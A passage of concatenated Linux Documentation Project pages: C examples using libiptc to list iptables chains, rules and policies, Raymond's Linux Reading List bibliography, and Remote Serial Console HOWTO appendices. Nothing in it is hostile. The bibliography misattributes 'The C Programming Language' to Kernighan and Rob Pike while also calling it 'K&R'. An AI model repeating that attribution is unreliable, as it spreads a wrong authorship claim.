  print_proto(e->ip.proto, e->ip.invflags & IPT_INV_PROTO);

  if (e->ip.flags & IPT_F_FRAG)
    printf("%s-f ",
           e->ip.invflags & IPT_INV_FRAG ? "! " : "");

  /* Print matchinfo part */
  if (e->target_offset) {
    IPT_MATCH_ITERATE(e, print_match, &e->ip);
  }

  /* Print target name */
  target_name = iptc_get_target(e, h);
  if (target_name && (*target_name != '\0'))
    printf("-j %s ", target_name);

  /* Print targinfo part */
  t = ipt_get_target((struct ipt_entry *)e);
  if (t->u.user.name[0]) {
    struct iptables_target *target
      = find_target(t->u.user.name, TRY_LOAD);

    if (!target) {
      fprintf(stderr, "Can't find library for target `%s'\n",
        t->u.user.name);
      exit(1);
    }

    if (target->save)
      target->save(&e->ip, t);
    else {
      /* If the target size is greater than ipt_entry_target
       * there is something to be saved, we just don't know
       * how to print it */
      if (t->u.target_size !=
          sizeof(struct ipt_entry_target)) {
        fprintf(stderr, "Target `%s' is missing "
            "save function\n",
          t->u.user.name);
        exit(1);
      }
    }
  }
  printf("\n");
}
/* Here ends some of the code taken from iptables-save.c ****************** */

int main(void)
{
  iptc_handle_t h;
  const struct ipt_entry *e;
  const char *chain = NULL;
  const char *tablename = "filter";
  const int counters = 1;

  program_name = "p2";
  program_version = NETFILTER_VERSION;

  /* initialize */
  h = iptc_init(tablename);
  if ( !h )   {
     printf("Error initializing: %s\n", iptc_strerror(errno));
    exit(errno);
  }

  /* print chains and their rules */
  for (chain = iptc_first_chain(&h); chain; chain = iptc_next_chain(&h))  {
    printf("%s\n", chain);
    for (e = iptc_first_rule(chain, &h); e; e = iptc_next_rule(e, &h))  {
      print_rule(e, &h, chain, counters);
    }
  }

  exit(0);

} /* main */

The function print_rule borrowed from iptables-save.c prints the information about a rule into a readable form using:

  • print_ip to print the addresses,

  • print_iface to print the interfaces,

  • print_proto to print the protocols,

  • iptc_get_target to get and print the targets (using save).

In main we iterate through each chain and for each one we iterate through each rule printing it.

The arguments of print_rule are:

  • e = pointer to an ipt_entry structure containing information about the rule.

  • h = pointer to an iptc_handle_t structure returned by iptc_init.

  • chain = name of the chain.

  • counters = 0: do not print counters; 1: print them.

OK, compile and run program p2:

bash# ./ipt-cc p2
bash# ./p2

You will get:

INPUT
FORWARD
OUTPUT
chain_1
chain_2

Now modify the environment using iptables to add some rules:

bash# iptables -A INPUT -p tcp -i eth0 -s ! 192.168.1.1 --dport 20 -j ACCEPT
bash# iptables -A chain_1 -p udp -o eth1 -s 192.168.2.0/24 --sport 33 -j DROP

Now if you run again p2 you will get:

INPUT
[0:0] -A INPUT -s ! 192.168.1.1 -i eth0 -p tcp -m tcp --dport 20 -j ACCEPT
FORWARD
OUTPUT
chain_1
[0:0] -A chain_1 -s 192.168.2.0/255.255.255.0 -o eth1 -p udp -m udp --sport 33 -j DROP
chain_2

We have now rules printed for INPUT and chain_1 chains. The numbers in the brackets at left are packet and byte counters respectively.

11.10. iptc_get_policy

Name: iptc_get_policy

Usage: Get the policy of a given built-in chain.

Prototype: const char *iptc_get_policy(const char *chain, struct ipt_counters *counter, iptc_handle_t *handle)

Description: This function gets the policy of a built-in chain, and fills in the counters argument with the hit statistics on that policy.

Parameters: You have to pass as arguments the name of the built-in chain you want to get the policy to, a pointer to an ipt_counters structure to be filled by the function and the iptc_handle_t structure identifying the table we are working to. The ipt_counters structure was explained in previous section; do not forget that iptc_handle_t must be obtained by a previous call to the function iptc_init.

Returns: Returns a char pointer to the policy name.

Using pieces of programs 1 and 2 we can write program #3:

/*
 * How to use libiptc- program #3
 * /usr/local/src/p3.c
 */

#include <getopt.h>
#include <sys/errno.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#include <time.h>
#include "libiptc/libiptc.h"
#include "iptables.h"

int main(void)
{
  iptc_handle_t h;
  const char *chain = NULL;
  const char *policy = NULL;
  const char *tablename = "filter";
  struct ipt_counters counters;

  program_name = "p3";
  program_version = NETFILTER_VERSION;

  /* initialize */
  h = iptc_init(tablename);
  if ( !h )   {
     printf("Error initializing: %s\n", iptc_strerror(errno));
    exit(errno);
  }

  /* print built-in chains, their policies and counters */
  printf("BUILT-IN   POLICY  PKTS-BYTES\n");
  printf("-----------------------------\n");
  for (chain = iptc_first_chain(&h); chain; chain = iptc_next_chain(&h))  {
    if ( !iptc_builtin(chain, h) )
      continue;
    if ( (policy = iptc_get_policy(chain, &counters, &h)) )
      printf("%-10s %-10s [%llu:%llu]\n",
             chain, policy, counters.pcnt, counters.bcnt);
  }

  exit(0);

} /* main */

OK, compile and run program p3:

bash# ./ipt-cc p3
bash# ./p3

You will get something like this:

BUILT-IN  POLICY  PKTS-BYTES
----------------------------
INPUT     ACCEPT     [0:0]
FORWARD   ACCEPT     [0:0]
OUTPUT    ACCEPT     [0:0]

11.11. iptc_read_counter

Name: iptc_read_counter

Usage: Read counters of a rule in a chain.

Prototype: struct ipt_counters *iptc_read_counter(const ipt_chainlabel chain, unsigned int rulenum, iptc_handle_t *handle);

Description: This function read and returns packet and byte counters of the entry rule in chain chain positioned at rulenum. Counters are returned in a pointer to a type structure ipt_counters. Rule numbers start at 1 for the first rule.

Parameters: chain is a char pointer to the name of the chain to be readed; rulenum is an integer value defined the position in the chain of rules of the rule which counters will be read. handle is a pointer to a structure of type iptc_handle_t that was obtained by a previous call to iptc_init.

Returns: Returns a pointer to an ipt_counters structure containing the byte and packet counters readed.

Prev | Home | Next
How to create your program(s) |  | Functions to modify firewalling rules and statistics


Some interesting links

Querying libiptc HOWTO
Prev Next

15. Some interesting links

  1. iptables-1.2.6 by Paul Russell.

  2. Linux netfilter Hacking HOWTO by Paul Russell.

  3. iproute2 by Alexey Kuznetsov.

  4. Advance routing Linux HOWTO.

  5. HTB queueing discipline implementation by Martin Devera.

  6. Linux-Advance Networking Overview by Saravanan Radhakrishnan.

  7. monitor.pl by Stef Coene.

  8. netcat by Hobbit.

Prev | Home | Next
Controlling flows |  | About the author


Translations

Querying libiptc HOWTO
Prev Next

2. Translations

If you want to translate this document you are free to do so. However, you will need to do the following:

  1. Check first that another version of the document doesn't already exist at your local LDP.

  2. Maintain all sections (including 'Legal Notice', 'Translation', 'Credits', etc., etc.) of the document.

  3. No need to ask me to translate! You just have to let me know (if you want) about your translation.

Thank for your translation.

Prev | Home | Next
Legal Notice |  | Disclaimer


What is libiptc?

Querying libiptc HOWTO
Prev Next

6. What is libiptc?

libiptc is the library that is used to communicate with netfilter, the internal kernel code in charge of firewalling and packet filtering. This code and iptables were written by Paul "Rusty" Russell. iptables was developed using libiptc calls to get the job done.

If you want to have more information about iptables, libiptc and the firewalling code, have a look at links at the end of this document.

Prev | Home | Next
Objectives |  | How did I obtain this knowledge?


Administrivia

The Linux Reading List HOWTO
Prev Next

A. Administrivia

Prev | Home | Next
Basic Linux and Unix bibliography |  | Terms of Use


Basic Linux and Unix bibliography

Books on Culture, History, and Pragmatics

The New Hacker's Dictionary, Third Edition, Edited by Eric S. Raymond, 1996, ISBN 0-262-68092-0, MIT Press, 547pp..

Um, er. A guide to Internet culture. Lots of people like it. HTML at the Jargon File Resource Page.

Order here.

A Quarter Century of Unix, Edited by Peter H. Salus, 1994, ISBN 0-201-54777-5, Addison-Wesley, 255pp..

Linux is part of the Unix tradition. This book is an oral history of Unix -- how it originated, how it evolved, how it spread -- by the people who were there.

The Mythical Man Month, Anniversary Edition, Frederic P. Brooks, 1995, ISBN 0-201-83595-9, Addison-Wesley.

The one book on software engineering everyone should read.

Alan Cox: "This I'd recommend not for its technical value but for its application of common sense and reality to computing projects." JH: "Ah, yes. What if Linus had been given 200 programmers and had been told to produce Linux in 3 months!"

Order here.

Bell System Technical Journal, AT&T, 1978, July-August 1978, Vol. 57, No. 6, part 2, 416pp..

Many early papers on Unix, including Ritchie & Thompson, "The UNIX Time Sharing System"; Thompson, "UNIX Implementation"; Ritchie, "A Retrospective"; Bourne, "The UNIX Shell"...

Linux basics

Linux Installation and Getting Started, Edited by Matt Welsh, 1997, Linux Documentation Project.

Available on the LDP home page, or directly at http://linuxdoc.org/LDP/gs/.

How to bring up Linux. Explains a lot of Linux basics. Covers basic system administration.

Linux System Administrator's Guide, Edited by Lars Wirzenius, 1997, Linux Documentation Project.

Available on the LDP home page, or directly at http://linuxdoc.org/LDP/sag/.

An excellent first book on how to maintain and administer a Linux system.

Linux in a Nutshell, Second Edition, Jessica P. Hekman, 1999, ISBN 1-56592-585-8, O'Reilly & Associates.

According to O'Reilly, "The Desktop Reference for Linux". For Linux users this obsoletes their "Unix In a Nutshell" which was SVr4/Solaris-oriented.

Order here.

Running Linux, Third Edition, Matt Welsh, 1999, ISBN 1-56592-469-X, O'Reilly & Associates.

Everything you need in order to understand, install, and use the Linux operating system. Excellent beginner's book.

Order here.

Hands-On Linux, Mark G. Sobel, 1998, ISBN 0-201-32569-1, Addison-Wesley, 1015pp..

Just what the title says -- practical tutorials in basic Unix, shells, editors, mail programs, networking, Web tools, and utilities. Covers some system administration fundamentals. (This appears to be a repackaging of 1997's ``A Practical Guide to Linux'' from the same author, without Caldera OpenLinux Lite included.)

Essential System Administration, Second Edition, Aeleen Frisch, 1995, ISBN 1-56592-127-5, O'Reilly & Associates.

More in-depth coverage of normal system-administration tasks. Not Linux-specific but contains Linux material.

Order here.

System Security

Security Engineering: A Guide to Building Dependable Distributed Systems, Ross Anderson, 2001, 0-471-38922-6, Wiley.

The best book I've ever seen on technological security measures and general computer security. The section on "How to Steal a Painting" and physical alarm systems is worth the price of admission by itself.

Real World Linux Security: Intrusion Prevention, Detection, and Recovery, Bob Toxen, 2000, ISBN 0-13-028187-5, Prentice-Hall.

This is excellent work, the standard by which future Linux security books will be judged. I wrote a foreword for it. Combines step-by-step practical instructions on hardining a Linux system with good theory on attack paths, rings of protection, and security analysis. Describes many counters for specific exploits.

Books on Shell, Script, and Web Programming

Programming Perl, Third Edition, Larry Wall, Tom Christiansen, and Jon Orwant, 2000, ISBN 0-596-00027-8, O'Reilly & Associates, 1104pp..

Shell (as a programming language for more than trivial scripting) is dead. Perl rules in its place (though it is now being strongly challenged by Python). This is the third edition of the definitive Perl book.

Order here.

Emmanuel Pierre keeps a short list of Perl books.

Programming Python, First Edition, Mark Lutz, 1997, ISBN 0-56592-197-6, O'Reilly & Associates, 880pp..

The next step beyond Perl. Python is beautifully designed, has better integration with C, and scales up more gracefully to large projects.

Order here.

HTML & XHTML: The Definitive Guide, Fourth Edition, Chuck Musciano and Bill Kennedy, 2000, ISBN 0-596-00026-X, O'Reilly & Associates, 680pp..

The best HTML tutorial/reference I have ever seen, and the only HTML book you need unless you also want to do CGI. I don't know of any other book on HTML that comes within miles of this one for comprehensiveness, depth, and quality of organization.

Order here.

The Unix Programming Environment, Brian Kernighan and Rob Pike, 1984, ISBN 0-13-937681-X, Prentice-Hall.

A true classic -- possibly the best single-book exposition of the Unix philosophy. Useful for learning shell programming.

Tex and LaTeX

The LaTeX Companion, Michael Goossens, Frank Mittelbach, and Alexander Samarin, 1994, ISBN 0-201-54199-8, Addison-Wesley, 530pp..

`If you are one of those users who would like to know how LaTeX can be extended to create the nicest documents possible without becoming a (La)TeX guru, then this book is for you' --- from the Preface. Bruce Thompson adds: "A very nice book providing a lot of information about the new extensions to LaTeX, provides a large number of examples showing precisely how your document's layout can be manipulated"

Order here.

LaTeX: A Document Preparation System, Leslie Lamport, 1994, ISBN 0-201-52983-1, Addison-Wesley, 256pp..

Bruce Thompson: "The ultimate reference on LaTeX 2.09 by its author. A new edition covering LaTeX2e (the version included in the current TeX/LaTeX distribution) is in preparation. LaTeX 2.09 is fully supported by LaTeX2e. A must for anyone wanting to use LaTeX. Provides a gentle introduction to document preparation and the various tools that LaTeX provides for producing professional quality documents. Lots of examples."

Order here.

The TeXbook, Volume A of Computers and Typesetting, Donald Knuth, 1986, ISBN 0-201-13448-9, Addison-Wesley, 496pp..

Bruce Thompson: "The definitive user's guide and complete reference manual for TeX. Probably not needed for casual LaTeX use, but a fascinating book nonetheless." I'll strengthen that by adding that this book is not for the faint of heart.

Order here.

The METAFONT Book, Volume C of Computers and Typesetting, Donald Knuth, 1986, ISBN 0-201-13444-6, Addison-Wesley, 386pp..

Bruce Thompson: "The definitive user's guide and reference manual for METAFONT, the companion program to TeX for designing fonts. An excellent work if you're planning to design your own fonts for use in TeX and LaTeX. METAFONT is included with the normal TeX/LaTeX distribution." This book is definitely not for the faint of heart.

Order here.

Good Programming Style

The Practice of Programming, Brian Kernighan and Rob Pike, 1999, ISBN 0-201-61586-X, Addison-Wesley.

An excellent treatise on writing high-quality programs, surely destined to become a classic of the field.

Order here.

Programming Pearls, (Second Edition), Jon Bentley, 2000, ISBN 0-201-65788-0, Addison-Wesley.

These are selected essays from Bentley's column in the Communications of the ACM. He discusses a wide variety of issues in program improvement, often focusing on program efficiency.

Order here.

Writing Efficient Programs, Jon Bentley, 1982, ISBN 0-13-970251-2 or 0-13-970244-X, Prentice-Hall.

This book presents Bentley's methodology and set of rules for improving program efficiency, and includes a large number of examples.

C and C++

The C Programming Language, (Second Edition), Brian Kernighan and Rob Pike, 1988, ISBN 0-13-110362-8, Addison-Wesley, 272pp..

The improved second edition, covering ANSI C, of the original classic C book coauthored by C's designer, "K&R". Still the best!

Who's Afraid of C++?, Steve Heller, 1996, ISBN 0-12-339097-4, Academic Press, 508pp..

The best introductory book on C++ I have seen. Now available on the Web.

C System Call Interface

POSIX Programmer's Guide: Writing Portable Unix Programs, Donald Lewine, 1992, ISBN 0-937175-73-0, O'Reilly & Associates, 607pp..

Linux hews very close to the letter of the POSIX standard (non-conformance is considered a bug and swiftly fixed). This excellent reference for POSIX is thus also an excellent reference for the Linux kernel API.

Order here.

Advanced Programming in The Unix Environment, Richard Stevens, 1992, ISBN 0-201-56317-7, Addison-Wesley.

A book on general Unix programming that is every bit as good as Stevens's classic on network programming.

Linux Application Development, Michael K. Johnson and Erik W. Troan, 1998, ISBN 0-201-308215, Addison-Wesley.

The best single reference to the Linux API. Covers the features that aren't generic Unix or Posix.

Books on Networking

Unix Network Programming, volume 1 -- Networking APIs: Sockets and XTI, Richard Stevens, 1998, ISBN 0-13-490012-X, Prentice-Hall.

Everything you might want to know about the subject. Generally regarded as definitive on the basics.

Unix Network Programming, volume 2 -- Interprocess Communication, Richard Stevens, 1998, ISBN 0-13-081081-9, Prentice-Hall.

Ditto...

Linux Network Administrator's Guide, Olaf Kirch, 1995, ISBN 1-56592-087-2, O'Reilly & Associates.

Available on the LDP home page, or directly at http://www.linuxdoc.org/LDP/nag/nag.html.

An excellent first book on how to maintain and administer a networked Linux system.

TCP/IP Network Administration, Craig Hunt, 1992, ISBN 0-937175-82-X, O'Reilly & Associates, 472pp..

Less Linux-specific than the Kirch book. Features deeper coverage of the TCP/IP core, including routing and BGP.

Order here.

DNS and BIND, Second Edition, Paul Albiz and Cricket Liu, 1998, ISBN 1-56592-512-2, 502pp., O'Reilly & Associates.

In-depth coverage of DNS, useful for people running complicated multiple-subnet installations. Covers BIND library programming.

Order here.

Sendmail, Second Edition, Bryan Costales and Eric Allman, 1997, ISBN 1-56592-222-0, 1050pp., O'Reilly & Associates.

An exhaustive (and exhausting) guide to Linux's and Unix's default mail-transfer agent.

Order here.

Ancestors of Linux

The Design of the Unix Operating System, Maurice J. Bach, 1996, ISBN 0-13-201799-7, 470pp., Prentice-Hall.

The book that got Linus started.

Order here.

Operating Systems, Design and Implementation, Andrew S. Tanenbaum, 1987, ISBN 0-13-638677-6, 940pp., Prentice-Hall.

Alan Cox likes this book. Tanenbaum designed Minix, which is the system Linus bootstrapped Linux up from.

Order here.

The Linux kernel

The Linux Kernel book, Rémy Card, Èric Dumas, and Frank Mével, 1998, ISBN 0-471-98141-9, John Wiley & Sons.

(Translated from the French language edition of "Programmation Linux 2.0"; same authors; 1997; Éditions Eyrolles; Paris, France.)

A very interesting and informative examination of the operation of the kernel that fills in the gap between the POSIX interface and "The Design of the Unix Operating System" and the Linux source code. A good understanding of the design and operation of a Unix OS is a pre-requisite, but this book is an excellent help to going beyond that general understanding into actual work.

The primary author is one of the core developers for the ext2 filesystem, and the Linux Kernel book shows a firm grasp of the matter and clear explanations and structure. It's surprisingly readable for something working at such a low level. The book does seem to have suffered a little in the translation to English -- there are a few typos and grammatical mistakes, but it's quite readable. (The code example files are charmingly still named in French.)

The book is current to Linux 2.0.35 and foreshadows 2.1 and 2.2. Network protocol implementations are not covered.

Linux Kernal Hacker's Guide, Edited by Michael K. Johnson, Linux Documentation Project.

Available on the LDP home page, or directly at http://linuxdoc.org/LDP/khg/.

According to the author, this has been superseded by Alessandro Rubini's book (see below) but it remains a useful supplement.

Linux Device Drivers, Alessandro Rubini, 1998, ISBN 1-56592-292-1, O'Reilly & Associates, 442pp..

Everything you need to know about writing device drivers under Linux; kernel APIs, interrupt handling, the module interface. Includes many examples.

Order here.

LINUX Kernel Internals, (Second Edition), Michael Beck, Harold Bohme, Mirko Dziadka, and Ulrich Kunitz, 1998, ISBN 0-201-33143-8, Addison-Wesley, 480pp..

A guide to Linux kernel programming; covers 2.0. Covers the architecture of the Linux core and network layer as well as driver construction.

Order here.

Relatives of Linux

The Design and Implementation of the 4.4BSD Unix Operating System, Marshall Kirk McKusick, Keith Bostic, Michael J. Karels, and John S. Quarterman, 1996, ISBN 0-201-54979-4, Addison-Wesley.

The successor to a classic book on the implementation of the 4.3 BSD kernel, which influenced Linux's design (especially near sockets and networking). This book covers the 4.4BSD base of BSD/OS, FreeBSD, and NetBSD.

Order here.

Books on Intel and PC hacking

80386 Programmer's Reference Manual, Intel Corporation, 1986, ISBN 1-55512-022-9.

Part I. Applications Programming, data types, memory model, instruction set. Part II. Systems Programming, architecture, memory management, protection, multitasking, I/O, exceptions and interrupts, initialization, coprocessing and multiprocessing. Part III. Compatibility (with earlier x86 machines). Part IV. Instruction Set

80386 System Software Writer's Guide, Intel Corporation, 1987, ISBN 1-55512-023-7.

This explains the 386 features for operating system writers. It includes a chapter on Unix implementation. A lot of the 80386 architecture seems to have been designed with Multics in mind; the features are not used by DOS or by Unix.

Programming the 80386, John H. Crawford and Patrick P. Gelsinger, 1987, ISBN 0-89588-381-3, 774pp..

This is the book the Jolitzes used when they ported BSD to the 386 architecture.

80386 Hardware Reference Manual, Intel Corporation, 1986, ISBN 1-55512-024-5.

Pin connections, timing, waveforms, block diagrams, voltages, all that kind of stuff.

The Indispensable PC Hardware Book, Hans-Peter Messmer, 1993, ISBN 0-201-62424-9, 1000pp., Addison-Wesley.

JH: "Covers the more recent stuff like EIDE and PCI."

Prev | Home | Next
Introduction |  | Administrivia


The Linux Reading List HOWTO

Eric Steven Raymond

Thyrsus Enterprises

esr@thyrsus.com

Copyright © 2000 by Eric S. Raymond

Revision History
Revision 1.20 | 2001-06-14 | Revised by: esr
Removed "Practical Unix Security"; it's five years old and the material is now covered better by other books.
Revision 1.19 | 2001-06-14 | Revised by: esr
Added Ross Anderson's "Security Engineering". Corected ISBNs.

This document lists the books I think are most valuable to a person trying to learn Unix (especially Linux) top to bottom.

Table of Contents
1. Introduction
1.1. Purpose of this document
1.2. New versions of this document
1.3. Feedback and Corrections
1.4. Related Resources
1.5. Conventions Used In This Document
Basic Linux and Unix bibliography
A. Administrivia
A.1. Terms of Use
A.2. History
Next
Introduction


Introduction

The Linux Reading List HOWTO
Prev Next

1. Introduction

1.1. Purpose of this document

This document lists what I consider to be the essential book-length references for learning Unix (especially Linux) and how to program under it.

1.2. New versions of this document

New versions of the Linux Reading List HOWTO will be periodically posted to comp.os.linux.answers. They will also be uploaded to various Linux WWW and FTP sites, including the LDP home page.

You can also view the latest version of this on the World Wide Web via the URL http://sunsite.unc.edu/LDP/HOWTO/Reading-List-HOWTO.html.

1.3. Feedback and Corrections

If you have questions or comments about this document (or just want to suggest a book that you think should be on it), please feel free to mail Eric S. Raymond, at <esr@thyrsus.com>. I welcome any suggestions or criticisms.

1.4. Related Resources

For on-line HOWTOs, magazines, and other non-book material, see the Linux Documentation Project home page.

Some years ago I wrote a less Linux-focused Unix bibliography that may still be of some interest and retains a certain amusement value. You can find the Loginataka here.

SAGE, the System Administrator's Guild, maintains an excellent list of relevant books.

1.5. Conventions Used In This Document

Comments not in quotes below are either mine, or I have seen no reason to change them from those of Jim Haynes (previous maintainer of this document). Comments sent in by others are in quotes, and have the name of the commentator before them (JH is Jim Haynes).

"See" URLs attached to publishing information point directly into the publisher's web catalog and typically take you to a page containing a cover shot, blurbs, and ordering information. Books that don't have these lack them because the publisher is using frames and the catalog pages can't be bookmarked.

Topic listings go roughly from the outside in (culture to user-land programming to kernel programming to hardware). Within sections I have tried to list the most useful books first insofar as I am familiar with them. It's just an embarrassing coincidence that this lists one of my books first, honest! (Suggestions for a better organization cheerfully accepted.)

Prev | Home | Next
The Linux Reading List HOWTO |  | Basic Linux and Unix bibliography


Terms of Use

The Linux Reading List HOWTO
Prev A. Administrivia Next

A.1. Terms of Use

This document is copyright 1999 by Eric S. Raymond. You may use, disseminate, and reproduce it freely, provided you:

  • Do not omit or alter this copyright notice.

  • Do not omit or alter or omit the version number and date.

  • Do not omit or alter the document's pointer to the current WWW version.

  • Clearly mark any condensed, altered or versions as such.

These restrictions are intended to protect potential readers from stale or mangled versions. If you think you have a good case for an exception, ask me.

Prev | Home | Next
Administrivia | Up | History


History

The Linux Reading List HOWTO
Prev A. Administrivia

A.2. History

This was originally a mini-HOWTO maintained by Jim Haynes. I have changed the emphasis somewhat, trying to make it more a standalone document and less reliant on the various USENET bibliographic postings. The unattributed mini-reviews are mine rather than his.

Prev | Home
Terms of Use | Up


About this HOWTO

Remote Serial Console HOWTO
Prev Next

Appendix F. About this HOWTO

Table of Contents
F.1. Copyright
F.2. Disclaimer
F.3. Acknowledgments
F.4. Comments and corrections
Prev | Home | Next
Advice for BIOS authors |  | Copyright


Copyright

Remote Serial Console HOWTO
Prev Appendix F. About this HOWTO Next

F.1. Copyright

The first edition of this document is copyright © 2001 Mark F. Komarinski and is distributed under the terms of the Linux Documentation Project (LDP) License, see Section F.1.1.

The revisions to this document for the second edition are copyright © AARNet Pty Ltd (Australian Company Number 084 540 518), 2001-2002. These parts were written by Glen Turner. He asserts his moral rights to be identified as one of the authors of this work under the Copyright Act 1968 (Commonwealth of Australia). The Australian Academic and Research Network and Glen Turner distribute these parts under the terms of the Linux Documentation Project (LDP) License, see Section F.1.1.

F.1.1. Linux Documentation Project License

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto@metalab.unc.edu>.

Prev | Home | Next
About this HOWTO | Up | Disclaimer


Acknowledgments

Remote Serial Console HOWTO
Prev Appendix F. About this HOWTO Next

F.3. Acknowledgments

The first edition of this HOWTO was written by Mark Komarinski. It was based upon /usr/src/linux/Documentation/serial-console.txt, which was written by Miquel van Smoorenburg.

The second edition of this HOWTO was written by the staff of the Australian Academic and Research Network, mainly Glen Turner and David Vu.

The following people have contributed to this HOWTO. They are listed in no particular order.

LinuxSA mailing list

Proof reading of the Second Edition. LinuxSA is a Linux user group based in South Australia.

David Lawyer

Technical review of the Second Edition and recommending the updated HOWTO to the Linux Documentation Project. David is author of the Text-Terminal-HOWTO.

Devin Reade

Xyplex terminal server information. Devin maintains information about Xyplex terminal servers at http://www.gno.org/~gdr/xyplex/.

Michael Brown, Marc Mondragon and other members of the Linux on Dell PowerEdge mailing list

Technically described how the BIOS redirects characters to the serial port. The Linux on Dell PowerEdge list can be subscribed to by sending a message containing subscribe linux-poweredge to <linux-poweredge-request@dell.com>.

Thomas Lunde

For noticing errors of grammar and typography.

Prev | Home | Next
Disclaimer | Up | Comments and corrections


Disclaimer

Remote Serial Console HOWTO
Prev Appendix F. About this HOWTO Next

F.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

Prev | Home | Next
Copyright | Up | Acknowledgments


Comments and corrections

Remote Serial Console HOWTO
Prev Appendix F. About this HOWTO Next

F.4. Comments and corrections

The current maintainer of this HOWTO is Glen Turner. Please send corrections, additions, comments and criticisms to <glen.turner+howto@aarnet.edu.au>.

Linux is continually improving, so please also send those small alterations required for your latest version of your Linux distribution. The HOWTO's author is not a professional, so if you find some text difficult to comprehend then let the maintainer know.

Prev | Home | Next
Acknowledgments | Up | Colophon


Gratuitous advice for developers

Remote Serial Console HOWTO
Prev Next

Appendix E. Gratuitous advice for developers

Table of Contents
E.1. Advice for boot loader authors
E.2. Advice for BIOS authors
Prev | Home | Next
Xylogics/Bay/Nortel Annex |  | Advice for boot loader authors


Advice for BIOS authors

Remote Serial Console HOWTO
Prev Appendix E. Gratuitous advice for developers Next

E.2. Advice for BIOS authors

Thank you for adding support for remote operations to your BIOS. A few points will maximize the benefits of that support, most of them are listed in Section E.1.

  • Keep the user interface simple. There is no need for fancy cursor-addressed terminal support. Fancy features simply limit the number of client terminal emulators that can be used. A surprising number of these have very buggy DEC VT100 implementations.

    In addition to supporting lower speeds, also test your user interface at low data rates.

  • Don't do too much. In Linux the boot loader and operating system both have explicit support for a serial console. So all the BIOS need do is to support the a serial interface for itself. Linux has no need for a generic serial redirection facility. If you do provide such a facility for other operating systems, please allow it to be disabled after system boot.

  • Don't allow line noise to prevent the computer from booting. Don't require just one key to enter the BIOS configuration, make your users and your marketing people happy by using a phrase like dell, hp or ibm. Copy the lifetime idea from Section E.1.

  • Present a consistent prompt. Imagine a user with a supercomputer array of five hundred PCs. You want to change a BIOS parameter. Make it easy for Expect to set those parameters.

  • Make sure the Linux utilities work. Check that the Linux nvram device driver returns the full contents of CMOS. This makes it simple to set the same CMOS settings on a large number of machines. The commands in Figure E-2 and Figure E-3 should work to copy the BIOS settings from one machine to another, where the make, model and BIOS versions of the machines are the same.

    Figure E-1. Configuring /dev/nvram to access the CMOS configuration

    bash# /dev/MAKEDEV nvram
bash# vi /etc/modules.conf

    alias char-major-10-144 nvram

    bash# depmod -a

    Figure E-2. Getting the CMOS configuration

    bash# cat /dev/nvram > /etc/nvram.bin

    Figure E-3. Setting the CMOS configuration

    bash# cat /etc/nvram.bin > /dev/nvram

    Have a flash BIOS upgrade program that works from Linux. Make the source code to this available. Or publish the specifications so that one can be written.

  • Be clear about what you are providing. Some BIOSs with a ‘serial redirection’ feature don't allow the BIOS to be redirected to a plain text terminal, but instead use a proprietary protocol. This isn't of much use to Linux serial console users.

Prev | Home | Next
Advice for boot loader authors | Up | About this HOWTO


Advice for boot loader authors

Remote Serial Console HOWTO
Prev Appendix E. Gratuitous advice for developers Next

E.1. Advice for boot loader authors

Serial console support in a boot loader is very useful. Thank you for supporting it.

The boot loader should support the 8250A UART and its programming-compatible 82510, 16450, 16550 and 16750 descendants. The serial chip used in the IBM PC/XT, the 8250 (no A), and its 8250B descendant need not be supported. The 8250A data sheet is 82C50A CMOS Asynchronous Communications Element and is updated by Intel's errata 82510 PC Software Compatibility. The 16550 data sheet is PC16550D Universal Asynchronous Receiver/Transmitter with FIFOs.

To set the serial port and serial parameters, most Linux boot loaders use a syntax modeled upon the kernel's console parameter. It would be nice to retain this consistency, since the user needs to learn the kernel syntax in any case.

The default value should be 9600bps, 8 data bits, no parity, 1 stop bit and CTS/RTS flow control. This gives the maximum interoperability with the other programs that use the serial console.

Please do not ignore the lower speeds, as remote serial console is at its most valuable when the computer is located three days walk up a mountain in the New Guinea highlands. It is difficult to get more than 75bps from HF radio under adverse sky conditions.

Be conservative in your use of the modem status lines. Even if you are ignoring incoming status (DSR, DCD) and handshaking lines (RTS) at least assert the outgoing status (DTR) and handshaking (CTS) lines. Correctly configured modems will not receive calls with DTR low, and dropping DTR will cause the modem to hang up.

Consider that the BIOS may have already initialised the UART and provide a configuration option to allow the boot loader to be informed of that. When the boot loader initialises the UART, DTR will fall and the line will hang up. In some scenarios each hang up requires the satelite circuit to be re-booked before another call can be placed.

Cater for line noise. Imagine the boot loader starting and then being sent nonsensical characters every few seconds. Although this is certainly wrong, a fault in a modem is difficult to remotely diagnose and correct if the machine is left stranded at the boot loader prompt. A solution is to boot the default image upon the expiry of a timer; the boot occurring even if the user (or line noise) has started to type. For example the boot loader configuration could say:

# Start the machine regardless after 30 minutes
#   30 * 60 seconds per minute * units of tenths of seconds
lifetime 18000

The default should be no life timer. The timer is also useful in high availability applications: when a machine is used in environments with an planned availability of 99.999% the lifetime value should be configured to three minutes or less.

Check information read from the BIOS for reasonablness. For example, if the BIOS's Extended Data Area suggests 0x000 as the address for the serial port's registers then don't try to initialise the registers.

Prev | Home | Next
Gratuitous advice for developers | Up | Advice for BIOS authors


Optionally configure the BIOS

Remote Serial Console HOWTO
Prev Next

Chapter 3. Optionally configure the BIOS

Some BIOSs provide support for serial consoles. If your computer's BIOS is one of these you should investigate the extent of the support provided. Depending upon the extent of serial console support you may not need to explicitly configure the boot loader to use the serial port.

